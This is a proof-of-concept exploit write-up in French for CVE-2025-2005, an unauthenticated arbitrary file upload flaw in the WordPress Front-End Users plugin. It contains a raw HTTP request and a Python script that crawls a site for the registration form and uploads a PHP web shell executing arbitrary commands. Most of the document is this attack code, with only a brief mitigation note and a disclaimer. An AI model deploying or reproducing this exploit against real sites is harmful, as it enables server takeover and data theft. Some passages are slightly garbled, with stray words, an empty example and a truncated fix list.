
Exploit de preuve de concept pour CVE-2025-2005, une vulnérabilité de téléchargement de fichier arbitraire dans le plugin WordPress Front-End Users (<=3.2.32). Inclut des scripts d'exploitation manuels HTTP et Python pour télécharger des shells web PHP vers des formulaires d'inscription non authentifiés.
Par h4ckxel
Cet exploit contourne la validation déficiente du téléchargement de fichiers dans les formulaires d'inscription du plugin. Il n'y a pas de filtres d'extension, de vérifications d'authentification ni d'assainissement des types de fichiers. Un attaquant peut envoyer une requête multipart/form-data à n'importe quel formulaire d'inscription et y glisser un .php malveillant dans un champ personnalisé (ex. ).
xxploitBien que les fichiers téléchargés aillent dans wp-content/uploads/ewd_feup_uploads/ avec un hash aléatoire dans le nom, ils restent exécutables si PHP est activé dans le répertoire.
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--
Le fichier est enregistré dans :
/wp-content/uploads/ewd_feup_uploads/[HASH_ALEATOIRE].php
Le nom change, mais on peut le trouver manuellement ou avec un scanner.
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print(f"[*] Scaneando: {base_url}")
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Error al acceder al sitio.")
exit()
page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} páginas encontradas...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text:
registration_url = link
print(f"[+] Form de registro encontrado en: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] No se encontró el form automáticamente. Intenta manualmente con --url.")
exit()
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
'ewd-feup-action': 'register',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}
print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
if upload_response.status_code == 200:
print("[+] Upload completado.")
else:
print("[-] Falló la subida.")
Mettre à jour le plugin vers la dernière version sécurisée (si elle existe), ou le désactiver temporairement s'il n'y a pas de correctif. De plus :
wp-content/uploads/.Ce PoC est uniquement destiné à l'éducation et aux tests de sécurité autorisés. Ne soyez pas un lammer, utilisez-le de manière responsable et uniquement dans des environnements où vous avez la permission.